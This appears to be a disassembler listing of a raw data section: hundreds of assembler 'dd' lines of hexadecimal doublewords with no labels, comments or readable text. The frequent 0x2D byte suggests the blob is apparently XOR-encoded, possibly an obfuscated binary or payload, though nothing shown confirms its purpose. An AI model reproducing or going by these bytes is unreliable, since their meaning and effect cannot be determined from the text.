		dd 35687D35h, 0A43568AEh, 682D2DFDh, 21687D35h,	65A424A6h
		dd 0DD742D2Dh, 2D6C2D2Fh, 0D2D065D2h, 90D2D065h, 216DD069h
		dd 2D2D2FD2h, 76D061A8h, 0D882D2Fh, 0D001A8D0h,	0A82D2DB4h
		dd 39E9D019h, 0D2D01DA8h, 9D2D031h, 0D039D2D0h,	0C62D2DD2h
		dd 88D2D035h, 35A8D031h, 0D03D90D0h, 31D2D00Dh,	61A8D2D0h
		dd 0D2D00DD0h, 0A8D2D031h, 61A8D061h, 28D168D0h, 522F8EA5h
		dd 2F89D223h, 2D2F852Dh, 5D2D2DE5h, 3C312D6Ch, 0C57D2D2Dh
		dd 0DD74D2D2h, 0A82D68A6h, 0EDA82DEDh, 0A0C3C9A8h, 0C3C5C3C1h
		dd 2D2E85D2h, 752D2DEBh, 0D150D2D1h, 0AED1682Dh, 2DC57D2Dh
		dd 0A82DC57Dh, 222168EDh, 2D68A62Dh, 2168D5AEh,	6D21686Dh
		dd 68D5AE2Dh, 0D1486D21h, 6DD1682Dh, 2CEDA8EDh,	0A82D38C6h
		dd 0EDA82DEDh, 68222168h, 21686D21h, 68A62D6Dh,	68D5AE2Dh
		dd 25682225h, 6D216822h, 682D2D2Dh, 2D2D6D21h, 2DD1482Dh
		dd 0ED6DD168h, 0C62CEDA8h, 0EDA82D38h, 0C1AE2D2Dh, 2D6C7B05h
		dd 2E2568A0h, 68D5AE2Dh, 0CD682E25h, 16C1686Dh,	2D2D2DB8h
		dd 2869C57Dh, 0A6DD68C9h, 0D22D4909h, 19A8AED2h, 0C52D6CD3h
		dd 37D371A8h, 21E92D2Ch, 0D6C5A8A0h, 0C5482889h, 6CB3D2D6h
		dd 2D2DCF2Dh, 0A82D2D85h, 7429D5C9h, 0D2D5CDDAh, 364D2889h
		dd 0D2D22D2Dh, 2D2FE974h, 47A02D6Ch, 2D6C7428h,	5A8A0A0h
		dd 89DB05A8h, 9A8A8A0h,	0DA0990DAh, 0A1D8F190h,	0CDA8BD20h
		dd 0DA7435D8h, 35D8CDA8h, 0A8A6DA74h, 0D8CDA009h, 0A8C520A1h
		dd 14A8DA12h, 0DA14A8DAh, 0A8DA1EA8h, 0A8DA1Eh,	0AE2D2DDAh
		dd 0A8AE2D2Dh, 0DA8DB36h, 0D371A8DBh, 0A8A8D868h, 6CB0D371h
		dd 2D6CB02Dh, 892D2DC6h, 0E5A8A993h, 0F60D20D8h, 0D2D8FD90h
		dd 0D2D255D2h, 0D8FD9045h, 0C0D889A8h, 35E92D6Ch, 0D375A8C4h
		dd 0A8D371A8h, 21E9D371h, 2D6CB1C4h, 68D23168h,	71A8D231h
		dd 2D6CB1D3h, 0B1D371A8h, 0D682D6Ch, 2D6CB1AEh,	0E9C421E9h
		dd 75A8C421h, 0AE0D68D3h, 992D2C2Dh, 2D992D2Dh,	88B5902Dh
		dd 0B5D288B5h, 2D2DD288h, 0D2D2C8A4h, 2D502D2Ch, 2D2D062Dh
		dd 2D6CB6A6h, 6898D22Dh, 98D2D20Dh, 742D2DB9h, 0D274D2D2h
		dd 316874D2h, 0D23168D2h, 0A8D371A8h, 256DD371h, 0C6D2D2A4h
		dd 0B745D2D2h, 31682D6Ch, 2D6CB7AEh, 53D288BDh,	6C5DC428h
		dd 2D6CB72Dh, 0B7AE3168h, 31682D6Ch, 2D6CB7AEh,	2DAE0D68h
		dd 0D2D2742Dh, 0AE316859h, 0A8C52D6Ch, 0A02DD375h, 472D6CA8h
		dd 0A82D6CB4h, 6CB4D375h, 2D6CB42Dh, 0A82D6CB4h, 6CB4D375h
		dd 2D2CEE2Dh, 2D89A990h, 2955A8A6h, 0EDA82D2Fh,	25A63168h
		dd 0A02DD2B1h, 2D2D2DA8h, 2D3A2955h, 3168EDA8h,	0D2B129A6h
		dd 6D45D2D2h, 2D6C2229h, 0D289A9A0h, 2DD2D2D3h,	2DCFA62Dh
		dd 0D28D512Dh, 0B545D2D2h, 2CA02D6Ch, 0AE742D2Dh, 0A02D2D86h
		dd 2569B159h, 0A63168DAh
		dd 69B159A0h, 4788D525h, 0B159A0B1h, 68D42569h,	59A0A631h
		dd 0D72569B1h, 0A0B14088h, 2569B159h, 0A63168D1h, 69B159A0h
		dd 5D88D025h, 0B159A0B1h, 68D32569h, 59A0A631h,	0D22569B1h
		dd 2DB15E88h, 2D6CE9AEh, 2D2D28A0h, 882D2C30h, 2D2DB171h
		dd 0A406EDAEh, 0D5B171A8h, 75A8D2B6h, 0D23168D3h, 0A8D23168h
		dd 75A8D371h, 0D375A8D3h, 0BA2D6CBAh, 0D2D22D6Ch, 2DD2D245h
		dd 0BA74D2D2h, 6CBA2D6Ch, 2D2F002Dh, 88742D2Dh,	0DA8B6D9h
		dd 2D2C7CB1h, 7CD2B105h, 1EEF2D2Ch, 0D2B111FFh,	0EF2D2C7Ch
		dd 1EEFFF1Eh, 0B105A8FFh, 7CD2B16Dh, 0B1192D2Ch, 2D2C7CD2h
		dd 9FF1EEFh, 2C7CD2B1h,	0FF1EEF2Dh, 90FF1EEFh, 0D2D2B11Dh
		dd 2CD2D22Ch, 0D22CD2D2h, 0D2D22CD2h, 3	dup(0D2D2D2D2h)
		dd 0D2B111D2h, 5D2B6F1h, 2555D2B1h, 0A62D6C2Dh,	68AE2D2Dh
		dd 28192225h, 0D0D9882Dh, 0A8D2D0D1h, 0D0D1D0D9h, 0D2D7E1D2h
		dd 0D2D2D339h, 2D6CAED2h, 0D5AE2DA0h, 0C0742D2Dh, 2C7C2D2Dh
		dd 0D2D3712Dh, 2E2D2D2Dh, 2D2D2D2Dh, 742D2D74h,	7C2D2DC0h
		dd 0D3752D2Ch, 2D2D2DD2h, 2D2D2D2Eh, 71A8742Dh,	0D371A8D3h
		dd 2DD371A8h, 0DD682D2Dh, 2DD1506Dh, 0E9D221E9h, 6CC7E439h
		dd 6CB2FD2Dh, 0D5F60D95h, 0F60968A6h, 2D2F7D6Ch, 6CC52D6Ch
		dd 2C7CC52Dh, 0D2D3552Dh, 0A8A922EDh, 74D2D099h, 0A02D6CA8h
		dd 0A8275E2Dh, 2D2DD0CDh, 0D2D35547h, 0F12D2DB5h, 2D6C2D6Ch
		dd 0D2D2D6C5h, 5DD221E9h, 89E62D6Ch, 2D3D252Dh,	0D5AE2D2Dh
		dd 2D2D68A0h, 742D2D74h, 252D6CC7h, 3D2D2D3Dh, 0AE2D2D2Dh
		dd 0C7A02D6Ch, 3D252D6Ch, 0A02D6C2Dh, 2D5BC6D5h, 0C6D5AE2Dh
		dd 33C6D567h, 2DA02D6Ch, 3D2D742Dh, 0A02D6C2Dh,	292D6CC7h
		dd 2D2D2D3Dh, 58D2D1A0h, 2DA02D6Ch, 6CC7742Dh, 0AE21C12Dh
		dd 5D50AED1h, 2DBE2D6Ch, 2D6C5D2Dh, 2D2D6C5Dh, 2568D5AEh
		dd 2D2D062Eh, 0C52D2D06h, 2D2D2D2Ah, 742D2D74h,	3B2D2F1Bh
		dd 2C7D2D2Fh, 2D2C042Dh, 552D3555h, 2DBC2D0Dh, 0AD0D642Dh
		dd 50A62D2Dh, 35682D25h, 742D2DA6h, 7C2D2C9Bh, 0D0192D2Ch
		dd 2D2C6AD2h, 6CD2D2A3h, 2D2DA02Dh, 275E2D74h, 2DD1B1A8h
		dd 2D0A472Dh, 2D2D0A2Dh, 0EDAE65EDh, 0D1B92200h, 0AE2D2DD2h
		dd 6CA0742Dh, 21E9C52Dh, 742D2DC4h, 6822256Dh, 3968A639h
		dd 0D2D535A6h, 6C2D2D92h, 21E9C52Dh, 0D661A8A0h, 0DC742D2Dh
		dd 2DA3D2D2h, 742D2D2Dh, 2D742D2Dh, 3968742Dh, 2D2DA6A6h
		dd 0A52D2CADh, 0D7692D2Dh, 2D2D9FD2h, 88A421E9h, 0D56DD515h
		dd 0A421E9D2h, 55D2D56Dh, 39682D25h, 68A621AEh,	68742D2Dh
		dd 5188A421h, 2D2DA0D2h, 68D5AE2Dh, 2D2DA421h, 2D2DD3C6h
		dd 0A868A621h, 3960D519h, 0D23560AEh, 69A63960h, 19A8D225h
		dd 0A63960D5h, 60D23960h, 2569A639h, 0A6AC29D2h, 88D2D25Dh
		dd 0DD5D259h, 580DD558h, 0D55800D5h, 2D2D5257h,	0D25990A6h
		dd 60D50590h, 3578AE35h, 0D505A814h, 9D23960h, 39602D2Ch
		dd 0AE3560A6h, 0A72DAC09h, 2D2D2D2Dh, 2D2DA874h, 64222164h
		dd 59EDAD21h, 2D3CB901h, 0C74539E9h, 6CC72D6Ch,	2D2DC72Dh
		dd 2D2D2DF0h, 2D93D5AEh, 0AE2C6D2Dh, 0AF2D2DB4h, 0C35D2D2Dh
		dd 0D2C35DD2h, 0E9C3ADA8h, 0D2BCD2C3h, 2D2DB9D2h, 0D26CF635h
		dd 0A8ED74D2h, 0C341A8EDh, 2D6CF635h, 0AE2DC62Dh, 0C395A8D5h
		dd 0D2EDA82Dh, 0D168A474h, 22D168ADh, 0C1C7BDA5h, 2C60D221h
		dd 6DD5682Dh, 6C9B222Dh, 222DC6D2h, 27D2649Bh, 6C9B222Dh
		dd 2D2DC6D2h, 9B222D2Dh, 2D27D264h, 0D26C9B22h,	60A62DC6h
		dd 0C127D264h, 0A1ADAD21h, 8CA1AD8Ch, 0AD2E2560h, 0A1AD8CA1h
		dd 8CA1AD8Ch, 688CA1ADh, 2D0D2E21h, 9B222DA6h, 0C1D5AE2Dh
		dd 6CC67E75h, 3359E42Dh, 0C1C6B9A4h, 0ED2F7E75h, 7021E921h
		dd 397021E9h, 0AE252D2Dh, 2ED16848h, 0A665D568h, 0A6D12568h
		dd 0AE216868h, 6865D568h, 25682E25h, 0A6EC29EAh, 2DA02560h
		dd 2D2C2D2Dh, 0EC3D6D2Dh, 2D352C69h, 35ED7474h,	0AE21687Dh
		dd 0D52D2D2Dh, 2DD268A6h, 825C52Dh, 0C5083DC5h,	0EEE40835h
		dd 68A6D578h, 0A468A6D1h, 0DD60DD68h, 68A6D9ECh, 0D968A6D5h
		dd 0A6D168A6h, 6F2CA968h, 0A968A6D1h, 2CA9AC2Ch, 2ED9680Fh
		dd 0D568A6D9h, 2CA968A6h, 68A6D169h, 0A9842CA9h, 0A6D97D2Ch
		dd 2ED96868h, 0A968A6D9h, 2CA9EB2Ch, 0A82CA9D7h, 0D92ED968h
		dd 0A6D568A6h, 142CA968h, 0A9C82CA9h, 0D968D52Ch, 68A6D92Eh
		dd 0D5DD68A4h, 256868A6h, 68A6D5A6h, 7860A62Dh,	0EEE4A425h
		dd 2D6CC678h, 0C62D6CC6h, 6CC62D6Ch, 2D6CC62Dh,	0D3682EEFh
		dd 0D2D3D2D2h, 2D6CC6D2h, 60A4D160h, 75C1A525h,	2D2D2D7Eh
		dd 2CD5AE2Dh, 0AE2DE6C6h, 0E6C62CD5h, 0EF2D3655h, 0BD902D2Dh
		dd 0D2D1A1D1h, 6CA02D6Ch, 2D6CA02Dh, 0D2D0D1A0h, 0A5D2D2C9h
		dd 0C9A5D2C9h, 0D2C9A5D2h, 0A5D2C9A5h, 0C9A5D2C9h, 0D2C9A5D2h
		dd 0A5D2C9A5h, 0D0D1D2C9h, 0D2C9A5D2h, 0A5D2D1BDh, 0A5A8D2C9h
		dd 0A435C5C9h, 65D2C9A5h, 3D61D2D2h, 0A62D6C2Dh, 902D2DEFh
		dd 21E9D0D9h, 4521E945h, 0E94521E9h, 1DC5A83Dh,	0D515A8A5h
		dd 6AA51DC5h, 0A62DD2D2h, 0A83DE968h, 0D54521E9h, 2C232228h
		dd 2328A92Dh, 0D5E9AE2Dh, 0D0D92229h, 0D2D2D9D2h, 0A9D9A990h
		dd 3DC10FA8h, 2E2560AEh, 2D962DADh, 2560AE2Dh, 2DD9482Eh
		dd 3D0E3D60h, 3DE92D2Fh, 2D2D2DA4h, 0D5AE216Dh,	0D9A8D2D0h
		dd 0D2D0D1D0h, 0D5D2D26Fh, 0D0D1D2D0h, 2D2875D2h, 876CF23Dh
		dd 0D26F48AEh, 2D2AF9D2h, 0E92D2D2Ah, 0D2D2A421h, 0D2D2F7AEh
		dd 0EB2D6CEBh, 2D2D2D6Ch, 0D7F1A845h, 0E9D2D212h, 0F1A8C421h
		dd 0D2D213D7h, 102D2DC7h, 2D83D2D2h, 0C421E92Dh, 112D2C5Ch
		dd 0D216D2D2h, 2D2DF0D2h, 0D22D2DAFh, 21E9AED2h, 0D2D214D2h
		dd 0E9452D2Dh, 2D7DA421h, 4721E92Dh, 2DA43DE9h,	21E92D2Dh
		dd 0A43DE947h, 2D2D2CE5h, 2D2D58D2h, 0A43DE9AEh, 50D2D2D0h
		dd 2D2D2DD1h, 2DDD502Dh, 57D2D36Dh, 2D2DD2D2h, 0D315902Dh
		dd 55D2D315h, 0D2082D29h, 2D2081D2h, 9058D22Dh,	0D185D3D5h
		dd 7DD2D2D2h, 2DD3D1A8h, 0D185472Dh, 74D2D2D2h,	0D9AED2D2h
		dd 2D2DD2D3h, 0D9B5A8AEh, 0A885A8A9h, 2D2DD989h, 0DF51A82Dh
		dd 0D5A822EDh, 0DF55222Ch, 0D2DF59D2h, 69DF59A8h, 0ADA82C2Ch
		dd 0D2D2DFDFh, 0D9D2D2DFh, 0ADA8D2D3h, 0A822EDDFh, 0A82229D5h
		dd 45A8D34Ah, 0DFBD88DFh, 0A8DF45A8h, 0BFA8DF4Dh, 0DF4588DFh
		dd 0A8DF4DA8h, 45A8DFBFh, 0DF45A8DFh, 0A0DFBEA8h, 2569DF45h
		dd 0D2D3D9D2h, 0A8DFADA8h, 0DFA9DF71h, 0DFADA8D2h, 6AD2D2D6h
		dd 0D3D52D2Dh, 6FC52DD2h, 2D2DD150h, 3DC19322h,	2D2D2DAEh
		dd 3 dup(2D2D2D2Dh), 0C1D968A6h, 0D2D1AE31h, 0A435E958h
		dd 0D52DC150h, 6CE668A6h, 0A839E92Dh, 68A839E9h, 6CE6A6DDh
		dd 0A839E92Dh, 0B9F1C62Ch, 5D882D2Ch, 0D2D2F1D3h, 69D35DA8h
		dd 2D6EDD28h, 2C51452Dh, 61E421E9h, 0D9A82D2Fh,	0F60D95D0h
		dd 104721E9h, 0D5A8C12Dh, 0C621E9D0h, 0E046D568h, 6CE02D6Ch
		dd 2D2D6C2Dh, 29D168A6h, 2DA82D2Ch, 0E435E9D2h,	0E92D2F7Dh
		dd 9990A421h, 0D09DA8D0h, 2DD928A9h, 0D560C62Dh, 473DE9A0h
		dd 0E92D2571h, 89A8A421h, 0D9A8A9DAh, 60DA89A8h, 0DDA8A4D5h
		dd 0D2D20BDAh, 296CE00Dh, 65C16CC1h, 0D2D2D4A6h, 0D6D2D2D6h
		dd 2D2CD2D2h, 2D2D2D2Dh, 902D2955h, 0D365D365h,	0D2D361D2h
		dd 0E902C52Dh, 6CE0E439h, 46D1682Dh, 0E2D250Dh,	0D550D2D2h
		dd 0A421E9D2h, 0E92DDD50h, 0DD50A421h, 0A02D2D2Dh
		dd 0D9AED2D2h, 2DB42047h, 2D2D972Dh, 90E9AE2Dh,	0C990DAC9h
		dd 0DAC990DAh, 90DAC990h, 2C61DAC9h, 0D2D23C2Dh, 0DFD2D3DFh
		dd 0D768D2D3h, 74D2D27Dh, 1BD2D399h, 0F9A82D2Dh, 2D6CE0D4h
		dd 0E02D6CE0h, 0D4F52D6Ch, 0D2D24CD2h, 0A86CF23Dh, 0D4F5D3D5h
		dd 0D2D23BD2h, 0C1AE1F6Dh, 91902D2Dh, 3759EDD4h, 2DAE1F6Dh
		dd 59ED222Dh, 2759ED27h, 0A8D1BBA8h, 0A4A8D499h, 0D495A8D1h
		dd 0A8D1A488h, 95A8D1BBh, 0D1A4A8D4h, 0D27D39EDh, 0DFA0AED2h
		dd 0A8A02DD7h, 90D558D2h, 0DFA0D49Dh, 0D2D7DBD7h, 2D2D2C01h
		dd 8590A8A6h, 0D48590D1h, 13D481A0h, 2D1C98D2h,	2D29552Dh
		dd 88D489A8h, 0D2D2D1BBh, 0D58D88AEh, 0D2D7C9A8h, 0D22DAED2h
		dd 0E0A5AD58h, 0E02D2D2Ch, 39502D6Ch, 2D2C7C2Dh, 0E9C57D2Dh
		dd 2C37A621h, 68A62D2Dh, 2D2D2C0Fh, 7D2D58D2h, 0E409E9A6h
		dd 0E92D29B1h, 5588AE21h, 2D6CE0D6h, 0FC2D6CE0h, 0D65D2D2Dh
		dd 222D2DD2h, 48A5C168h, 2D3E2DF2h, 0D2D6592Dh,	55D2D26Ch
		dd 0D6512D29h, 2DD150D2h, 2D2D2EEDh, 0D1A858D2h, 0E0A5ADD0h
		dd 0E92D6CE0h, 0E09FA021h, 0D0F6A86Ch, 0E03D59EDh, 0D16D2D6Ch
		dd 96C52DD2h, 0ED2DD150h, 3DE97D29h, 2D2F91E4h,	0E9D2D363h
		dd 0D2D2A43Dh, 2D1BC3AEh, 2D2DD950h, 21E9C57Dh,	0A4D160A6h
		dd 0F1E435E9h, 6BA82D2Fh, 0AED2D2D3h, 5D27472Dh, 2DA62D6Ch
		dd 2D29552Dh, 68D00590h, 0C568A5C5h, 0D2D00945h, 0A8D2D009h
		dd 3D50D069h, 58D22D2Dh, 2D68A62Dh, 0A6F550ACh,	8E452D68h
		dd 2DA67D2Dh, 29EDA67Dh, 0E40DE97Dh, 2DEA3DC1h,	2D2D2D2Dh
		dd 6DD5682Dh, 6006D968h, 0A82DA525h, 0AE0DC1EDh, 0E968A02Dh
		dd 0C550A421h, 74742D2Dh, 2D74742Dh, 0D22D2D2Dh, 74742D58h
		dd 0D52D6CBEh, 28CD5877h, 58D22D2Dh, 0F9E9AE2Dh, 5D88D2D1h
		dd 0D11190D3h, 6D2D2D0Dh, 6DA8D2D1h, 0D2D70DD1h, 6DD16990h
		dd 2D0DD2D1h, 0D2D71DA6h, 322D2D32h, 2D322D2Dh,	2D2CF12Dh
		dd 992D2CECh, 2CB42D2Ch, 2D2C5C2Dh, 0A82D2C64h,	11A8D161h
		dd 0D711A8D7h, 0A8D691A8h, 91A8D691h, 0D791A8D7h, 0A82D2955h
		dd 0D165D709h, 0A429EDD2h, 0A8D2D169h, 0D1E1D35Dh, 0AED2D2D2h
		dd 50A5C52Dh, 29ED2DD1h, 0E43DE97Dh, 0A058D22Dh, 7D24DB2Dh
		dd 0A6DD60D2h, 90D2DD0Dh, 0DD09DD09h, 0D2DF21D2h, 0A0A6DD60h
		dd 7D24DB2Dh, 0D88188D2h, 2DDD2DA8h, 247C98D2h,	2D29552Dh
		dd 0A0888888h, 7D24DF25h, 0D2DD35D2h, 31DD3190h, 0DF21D2DDh
		dd 0D2C2D1D2h, 0A02D2538h, 7D24DCC1h, 0D2DD3DD2h, 39DD3990h
		dd 2D36D2DDh, 0D2DCDD2Dh, 2AD2C2D5h, 0DCD92D2Ah, 0D2DD29D2h
		dd 90D2DD25h, 0DD21DD21h, 2D2D37D2h, 35D2DCDDh,	2DA4D2DCh
		dd 0DC3DA82Dh, 2DDC39A0h, 58EDA9A5h, 0AED2D205h, 772D2D85h
		dd 2D2D2D2Fh, 0DD19A8AEh, 0A8D27D2Dh, 15A0DC35h, 0A9A52DDDh
		dd 882E2889h, 35A8DC25h, 0DD8DA8DCh, 0EDD0C1A8h, 39E90558h
		dd 2D2CA9C4h, 0ED2D2C44h, 39E90558h, 0DCC1A0C4h, 0A0D27D24h
		dd 7D24DF25h, 0D8C1A8D2h, 68D881A8h, 7D24A6DDh,	0DB2DA0D2h
		dd 0F5D27D24h, 0D22D2D28h, 452D2D58h, 2D452D2Dh, 6D88C42Dh
		dd 0D22D2DD7h, 1DD22D2Dh, 0D701D2D7h, 0D2D705D2h, 5016C52Dh
		dd 29ED2DD1h, 0E43DE97Dh, 0E9FCD168h, 2C47A821h, 0E4ED1E75h
		dd 0E92D3950h, 21E9A821h, 2E3D50A8h, 50A821E9h,	21E9293Dh
		dd 2D3495A8h, 0A82D2D26h, 0C4C1C4D9h, 0D2D21AD2h, 882DA62Dh
		dd 0C4DDC4F5h, 0AD3DE9D2h, 88D2D2C3h, 0A8A0C0B1h, 0D2D3CE99h
		dd 55E5A8A0h, 28892D29h, 0C4F5A8FDh, 6DC2FDA0h,	0D168ED21h
		dd 0C4C9A8A0h, 0A82D2E45h, 59EDC0AFh, 163D6D3Bh, 6DC4C9A8h
		dd 0C9A81621h, 16216DC4h, 6DC4C9A8h, 0C5791621h, 0D5AE2DD2h
		dd 682ED168h, 0AE2D2ED1h, 2ED168D5h, 2D2ED168h,	0D168EDA8h
		dd 0CB65A82Eh, 60EDA82Dh, 0AE2D2ED1h, 0D168A6D5h, 0A6D5AE2Dh
		dd 21E9D168h, 0CA61A845h, 0E97528A9h, 7DA8A021h, 0A021E9C5h
		dd 0C44521E9h, 0C299D682h, 2DD150D2h, 0E92D3D50h, 0D2D2E439h
		dd 6CC0358Eh, 2D6CC031h, 28A9A8A0h, 0C021A8F2h,	0C5CD28A9h
		dd 21E92985h, 2DD148C5h, 883D2D45h, 21E9C2C9h, 2DD148EEh
		dd 60EE21E9h, 969D2D1h,	0FF1EEF25h, 4949DAE5h, 0A6F53D09h
		dd 6CC6FE69h, 0DD3D0979h, 73EB49DAh, 39096976h,	0E549DADDh
		dd 62EB69A6h, 7D216858h, 0C17DD168h, 214B473Dh,	0D2D2D32Dh
		dd 6DA42965h, 59DBAE25h, 0A62AC62Ah, 59C62F59h,	1559A033h
		dd 0D23E58A6h, 0AE2D452Dh, 28587D88h, 1588AEC4h, 222D2C2Dh
		dd 88AE13A9h, 0F5A92209h, 59C1A678h, 2F58D220h,	2D6CF2C6h
		dd 0D3A02D47h, 0A8A6D2D2h, 0D2D2D0F5h, 59C1A8A6h, 20C6C428h
		dd 0C1A678A6h, 58C42858h, 3A59C62Fh, 0C62F5845h, 45D23258h
		dd 2D47AFADh, 0E9AE2D45h, 78C42859h, 3A58C1A6h,	2D2D2DA0h
		dd 2DD27D2Dh, 3E587474h, 0D23258D2h, 2D98D22Dh,	24597474h
		dd 0AC2159AEh, 2DE9AE2Dh, 742DAC2Dh, 0D2742DD2h, 59C1A678h
		dd 2B59AE3Fh, 0D22D2DAEh, 58285B2Dh, 0A02D1E2Ah, 0E9AE2DA8h
		dd 2D1E742Dh, 3D8D2C45h, 0E1A8A0F2h, 2DEEC42Dh,	0A62DEA2Dh
		dd 20C42DA8h, 2D453E58h, 859A8A0h, 0A60258A6h, 0AEE9AE2Dh
		dd 6CF21990h, 2580F22Dh, 2DD2D2D5h, 0A678E9AEh,	0C42858C1h
		dd 2D74742Dh, 0ED2D5AEDh, 59ED2D59h, 2D59ED2Dh,	6CAA59EDh
		dd 0C6742D2Dh, 2D47742Dh, 0D22D38D2h, 0D2395938h, 5F952758h
		dd 0D22D2D6Ch, 38D22D38h, 0C52D6C5Fh, 0A8A01CA4h, 475858D1h
		dd 0C52D6C5Fh, 0A8A01DC5h, 0D1A8A0D1h, 5F742D2Ch, 6C5F2D6Ch
		dd 2FFC52Dh, 783558D2h,	8D45C1A6h, 453E59A4h, 5986A922h
		dd 3E59453Eh, 0A4E94545h, 2DAE2458h, 0A8A0E9AEh, 0E9AE2D2Dh
		dd 78D2742Dh, 2059C1A6h, 0C62F58D2h, 5974742Dh,	60A6A623h
		dd 472D2DD1h, 0A4472D2Dh, 2D2D2568h, 0A62AC647h, 5F2F5B2Dh
		dd 68A62D6Ch, 2F472DC5h, 59E9AE2Dh, 742DD224h, 0EDB922A6h
		dd 5FEDB822h, 6C5F2D6Ch, 0A8A02D2Dh, 2DA02D2Dh,	6C5F58D2h
		dd 1E742D2Dh, 2DA620C6h, 20C6AE2Dh, 5E2D2DA6h, 0C6652D2Dh
		dd 2D2DA620h, 582D2D5Eh, 580138D2h, 2D2DAE25h, 652D2D5Eh
		dd 58C6742Dh, 68A61E29h, 0A62AC6D1h, 2D5E2D2Dh,	2D2D582Dh
		dd 0D968EA6Dh, 597D2D2Dh, 68A6AE22h, 0A6FCC6C5h, 592D6C5Fh
		dd 88AED23Fh, 2D2D2FEDh, 0AEAE2B59h, 2D6CD588h,	0A8EA2D2Dh
		dd 2A2D472Dh, 20C62D2Dh, 565E2DA6h, 2D74742Dh, 2D2D472Dh
		dd 472D2D47h, 2D74742Dh, 742D472Dh, 472D2D74h, 2D74742Dh
		dd 742D472Dh, 472D2D74h, 2D74742Dh, 472D7474h, 74742D2Ch
		dd 2D74742Dh, 2D2D565Eh, 472D2D47h, 2D74742Dh, 742D472Dh
		dd 472D2D74h, 2D2D2D84h, 2D2D7474h, 74742D47h, 2D472D2Dh
		dd 2D2D472Dh, 2C472D45h, 2D74742Dh, 6C5F7474h, 0F5DA2D2Dh
		dd 2D2C472Dh, 6C5F7474h, 0C62F592Dh, 59C1A678h,	2858AE21h
		dd 0C42858C4h, 58C62F58h, 0C2C6C62Fh, 0DDA922C6h, 78A63145h
		dd 2858C1A6h, 0AFA922C4h, 58C62F58h, 2D2DC428h,	0C42858ADh
		dd 2CA67145h, 1D59742Dh, 742D2CD2h, 59742D2Ch, 742DD23Ch
		dd 74742D74h, 5D2D6C5Dh, 742D2D6Ch, 2D6C5DA4h, 2DA02D47h
		dd 20C67D74h, 742D2CA6h, 0A6A6742Dh, 215939A8h,	0C1A678EAh
		dd 5847742Dh, 2358D23Eh, 74742DD2h, 0AEC1A678h,	2F582150h
		dd 0E9AE2DC6h, 0C6C62F58h, 7D59A62Ah, 767372A0h, 2DA62AC6h
		dd 2AC6E9AEh, 0C62F59A6h, 2D2568A6h, 0AE2D472Dh, 0E9AE2DE9h
		dd 2D74742Dh, 742D7474h
		dd 74742D74h, 2D74742Dh, 742D7474h, 74742D74h, 5A2D472Dh
		dd 825A5F97h, 0D568A647h, 2D38D22Dh, 6C5D2D3Dh,	2D6C5D2Dh
		dd 0EAD9A8A0h, 6CF2EDA8h, 2D6CF22Dh, 782D6CF2h,	58D2C1A6h
		dd 2D472D25h, 0C52D472Dh, 0A545CC1Ah, 0A8A02D3Eh, 0F22D6CF2h
		dd 6CF22D6Ch, 0A980F22Dh, 782D2D24h, 58D2C1A6h,	0E9AE2D25h
		dd 59D948AEh, 742DAE70h, 2D6CB947h, 2DA8A42Dh, 0A8A67474h
		dd 0C1A678F9h, 512558D2h, 1F5B5217h, 9D8E2DD2h,	5B521851h
		dd 2DF7D200h, 5216512Dh, 2DD21E5Bh, 6CF22D2Dh, 2D2D2D2Dh
		dd 58C1A678h, 2D2D1E29h, 2D2D2D2Dh, 0C6C1A678h,	48AEA62Ah
		dd 0D23658D5h, 8CD968A6h, 5E5ECEFDh, 0EFAE22A6h, 0F2C1A678h
		dd 0A592D6Ch, 61A8EBA6h, 0AE7CA822h, 88AE31A0h,	0D88AE09h
		dd 592D6C5Fh, 0A6782275h, 2150AEC1h, 58C42858h,	2B59D23Dh
		dd 0D22D2DAEh, 78AE2D2Dh, 2858C1A6h, 1F2D2DC4h,	0A6A62D2Dh
		dd 28582160h, 0CD48AE47h, 2D2D6CB2h, 742DA8A6h,	68A62D74h
		dd 2DA6742Dh, 0A62DA8A6h, 98D22DA8h, 2DA8A62Dh,	0AE2DA8A0h
		dd 0D2D2DBE9h, 5DD22159h, 21592D6Ch, 2D6C5DD2h,	0EA2D6C5Dh
		dd 0A12209A8h, 0F1A8EAB9h, 51C62D2Dh, 0A8EBA661h, 0A8A62D12h
		dd 59EA2159h, 6CF6EA21h, 7D2D2D2Dh, 2D2D6CB0h, 0A62DA8A6h
		dd 0A8A62DA8h, 582D2D38h, 0A62DC428h, 0D2D27068h, 2DA8A62Dh
		dd 0A62DA8A6h, 0AE2D2DA8h, 0B1A8A62Dh, 2592D6Ch, 0C42858A6h
		dd 0B6E9AE2Dh, 0A62D2D6Ch, 2D6CB6A8h, 0D22D6CB6h, 0A62DB138h
		dd 2D6CF268h, 0F268A62Dh, 28582D6Ch, 68A62DC4h,	2DA8A62Dh
		dd 0D22D68A6h, 0A6245998h, 2D68A62Dh, 2459A8A6h, 0A8A62DA6h
		dd 2DC42858h, 6CF268A6h, 2D6CF22Dh, 2DC4742Dh, 2858A8A6h
		dd 68A62DC4h, 0B72D6CB7h, 2D2D2D6Ch, 2D6CF274h,	2D66A922h
		dd 0AE2DA8A0h, 0E9AE2DE9h, 2D2D6CF2h, 68A6A8A6h, 3168A631h
		dd 0A03168A6h, 6CB55CA8h, 0A8A42D2Dh, 2D4D88ADh, 2D292C47h
		dd 2D6CB52Dh, 2DA8A62Dh, 0A8A6E9AEh, 2D6CF2D9h,	0F22D6CF2h
		dd 6CF22D6Ch, 2D6CF22Dh, 0BA2D6CF2h, 742D2D6Ch,	74742D74h
		dd 0AEA0742Dh, 0AE2DD190h, 0C1A678E9h, 2D74742Dh, 50AE68A6h
		dd 0E9AE2DD1h, 2DA4742Dh, 742D7474h, 74742D74h,	2D25A822h
		dd 742D7474h, 74742D74h, 2D74742Dh, 742D7474h, 0D23C5974h
		dd 2DA62AC6h, 742DFF1Eh, 74742D45h, 222D6CDCh, 6CC20AA9h
		dd 74742D2Dh, 292D2D29h, 6C5D2D2Dh, 0EDB9222Dh,	47D2D250h
		dd 2D22472Dh, 58D22DD2h, 0C658D22Dh, 0A82DA62Ah, 49452DEDh
		dd 2DA63659h, 0A62D68A6h, 47574768h, 22ED9B22h,	9B22ED9Bh
		dd 2D2D29EDh, 5D2D2D29h, 452D2D6Ch, 0A1452DBDh,	2D2D452Dh
		dd 452D0545h, 6D90AEADh, 2DA0742Dh, 3E5950AEh, 68A62D45h
		dd 0C6457BC6h, 68A6A620h, 0E5A92235h, 22A620C6h, 195988AEh
		dd 0AD2D2DAEh, 2DA8742Dh, 742D742Dh, 0A6742D74h, 0AEC4742Dh
		dd 2AC65590h, 2568A6A6h, 2DA62AC6h, 0CCAED274h,	78EE7052h
